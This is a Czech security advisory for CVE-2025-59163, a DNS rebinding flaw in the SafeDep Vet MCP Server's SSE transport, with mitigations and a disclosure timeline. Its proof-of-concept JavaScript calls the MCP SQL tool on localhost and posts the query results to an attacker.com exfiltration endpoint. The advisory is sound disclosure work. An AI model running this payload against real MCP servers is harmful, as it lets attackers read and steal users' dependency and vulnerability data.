Autor: Evan Harris
Riziko: Nízké (CVSS 2.1/10)
Dotčená komponenta: SafeDep Vet MCP Server
ID CVE: CVE-2025-59163
Dotčené verze: < v1.12.5
Opravené verze: v1.12.5

Přehled

SafeDep Vet MCP Server je při provozu s transportem SSE zranitelný útoky typu DNS rebinding. Zranitelnost pramení z chybějící validace HTTP hlaviček Host a Origin, což škodlivým webům umožňuje obejít ochrany Same-Origin Policy a provádět neoprávněná volání nástrojů proti instancím Vet MCP.

Jakmile je DNS rebinding úspěšný, útočník může navázat relaci s koncovým bodem /sse, volat povolené nástroje MCP a exfiltrovat obsah uživatelovy SQLite databáze Vet na server ovládaný útočníkem.

Tým SafeDep na toto oznámení reagoval bez prodlení a během několika dní vydal opravenou verzi (v1.12.5), která zavádí validaci hlaviček Host a Origin pomocí seznamu povolených.

Stejným způsobem selhávají i další nástroje popsané na tomto webu: Neo4j MCP Cypher Server je zranitelný převzetím databáze pomocí DNS rebindingu a Server MCP Verify od Klusteru vystavuje uživatele vyčerpání kreditů.

Technické podrobnosti

Zranitelnost

Když server Vet MCP běží s transportem SSE (--server-type sse), vystavuje HTTP koncový bod, který přijímá připojení z libovolného původu. Serveru chybí validace:

  • HTTP hlavičky Host - umožňuje požadavky, které tvrdí, že pocházejí z libovolné domény
  • HTTP hlavičky Origin - povoluje požadavky napříč původy (cross-origin) ze škodlivých webů

Tato chybějící validace umožňuje útoky typu DNS rebinding, při nichž:

  1. Útočník ovládá doménu se záznamy DNS s velmi nízkou hodnotou TTL
  2. Oběť navštíví útočníkův web (např. attacker.com)
  3. Útočníkův JavaScript se zpočátku přeloží na IP adresu útočníka
  4. Poté, co prohlížeč oběti uloží připojení do mezipaměti, se záznam DNS změní na 127.0.0.1
  5. Následné požadavky z attacker.com nyní míří na localhost oběti
  6. Same-Origin Policy prohlížeče je obejita, protože původ zůstává attacker.com

Zranitelná konfigurace

Útok vyžaduje následující podmínky:

  • Je proveden sken Vet a reporty se ukládají do databáze
  • Server Vet MCP běží s povoleným transportem SSE
  • Útočník naláká oběť na web ovládaný útočníkem

Vektor útoku

Útočník využívá DNS rebinding k tomu, aby:

  1. Navázal připojení k http://127.0.0.1:9988/sse
  2. Získal platné ID relace MCP
  3. Inicializoval relaci MCP
  4. Zavolal nástroj vet_query_execute_sql_query s libovolnými čtecími SQL dotazy
  5. Přijímal odpovědi prostřednictvím streamu SSE
  6. Exfiltroval data na server ovládaný útočníkem

Scénář útoku

Nastavení oběti

Bezpečnostní výzkumník nebo vývojář:

  1. Nainstaluje Vet pro skenování zranitelností v závislostech
  2. Spustí sken: vet scan -D /path/to/project
  3. Spustí server MCP s transportem SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Server se ve výchozím nastavení naváže na 127.0.0.1:9988

Zneužití útočníkem

Útočník připraví infrastrukturu pro DNS rebinding:

  1. Nastaví server DNS se zástupnými (wildcard) záznamy pro doménu (např. rebinder.attacker.com)
  2. Nakonfiguruje server DNS tak, aby nejprve vracel IP adresu útočníka a poté provedl rebinding na 127.0.0.1
  3. Hostuje škodlivý web s JavaScriptem, který:
    • Detekuje, kdy je DNS rebinding úspěšný
    • Připojí se ke koncovému bodu SSE serveru Vet na adrese http://127.0.0.1:9988/sse
    • Naváže relaci MCP
    • Volá SQL dotazy proti databázi oběti
    • Exfiltruje výsledky

Průběh zneužití

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Oběť stačí, aby navštívila útočníkův web (např. prostřednictvím odkazu v phishingovém e-mailu, kompromitované reklamy nebo škodlivého GitHub issue), zatímco její server Vet MCP běží.

Posouzení dopadu

Narušení důvěrnosti

Primární dopad:

  • Úplný čtecí přístup k SQLite databázi skenů Vet prostřednictvím nástroje vet_query_execute_sql_query
  • Vyzrazení informací o zranitelnostech balíčků, včetně:
    • Názvů a verzí používaných balíčků
    • Známých CVE ovlivňujících závislosti oběti
    • Skóre závažnosti a podrobností o zranitelnostech
    • Zpravodajských informací o dodavatelském řetězci softwaru

Zesílení rizika:

  • Útočníci získávají informace o zranitelných balíčcích v prostředí oběti
  • Závislosti a verze balíčků odhalují podrobnosti o technologickém stacku
  • Tyto informace lze využít k vytvoření cílených exploitů

Požadavky útoku

Faktory omezující zneužitelnost:

  • Vyžadována aktivní interakce uživatele: Oběť musí navštívit škodlivý web
  • Časové okno: Server Vet MCP musí aktivně běžet s transportem SSE
  • Konfigurační požadavek: Oběť musí server výslovně spustit s parametrem --server-type sse (nikoli s výchozím transportem stdio)
  • Založeno na prohlížeči: Útok vyžaduje moderní prohlížeč s podporou EventSource

Tyto faktory přispívají k hodnocení nízké závažnosti (CVSS 2.1/10) navzdory potenciálu exfiltrace dat.

Doporučená zmírnění

Pro uživatele (okamžitě)

  1. Aktualizujte na v1.12.5 nebo novější:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Používejte transport stdio (výchozí):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Izolace sítě:
    • Provozujte server MCP pouze v důvěryhodných sítích
    • Použijte pravidla firewallu k omezení přístupu na port 9988
    • Vyhněte se procházení nedůvěryhodných webů, zatímco server běží

Pro vývojáře

Zavedeno ve v1.12.5:

  • Validace hlavičky Host pomocí seznamu povolených
  • Validace hlavičky Origin k zabránění požadavkům napříč původy
  • Odmítnutí požadavků s neplatnými nebo chybějícími bezpečnostními hlavičkami

Osvědčené postupy pro implementace serverů MCP:

  • Vždy validujte hlavičky Host a Origin u transportů založených na HTTP
  • Ve výchozím nastavení se navazujte pouze na localhost (127.0.0.1) namísto 0.0.0.0
  • Upřednostňujte transport stdio před transporty založenými na síti, kdykoli je to možné
  • Dokumentujte bezpečnostní důsledky různých režimů transportu
  • Zaveďte přísné zásady CORS

Časová osa oznámení

  • 2025-08-30: Počáteční hlášení zranitelnosti odesláno společnosti SafeDep
  • 2025-09-01: SafeDep potvrzuje přijetí hlášení
  • 2025-09-02: SafeDep zakládá pull request s opravou zavádějící validaci hlaviček
  • 2025-09-05: Vydána opravená verze v1.12.5
  • 2025-09-29: Zveřejněno GitHub Security Advisory, koordinované datum zveřejnění potvrzeno oběma stranami
  • 2025-10-06: Zveřejněno technické bezpečnostní upozornění

Závěr

Zranitelnost DNS rebinding v serveru Vet MCP ukazuje důležité bezpečnostní hledisko pro implementace MCP: transporty založené na síti vyžadují pečlivou validaci bezpečnostních HTTP hlaviček, aby se zabránilo útokům napříč původy.

Ačkoli útok vyžaduje specifické podmínky (aktivní server MCP s transportem SSE, oběť navštěvující škodlivý web, časové okno), potenciál exfiltrace dat ospravedlnil zodpovědné oznámení a opravu.

Reakce společnosti SafeDep je příkladem zodpovědných bezpečnostních postupů:

  • Okamžité potvrzení hlášení
  • Rychlý vývoj a vydání opravy (5 dní od hlášení do vydání)
  • Koordinované zveřejnění prostřednictvím GitHub Security Advisory
  • Jasná komunikace v průběhu celého procesu

Všichni uživatelé provozující server Vet MCP s transportem SSE by měli okamžitě aktualizovat na v1.12.5. Pro většinu případů použití poskytuje výchozí transport stdio bezpečnější alternativu.

Zdroje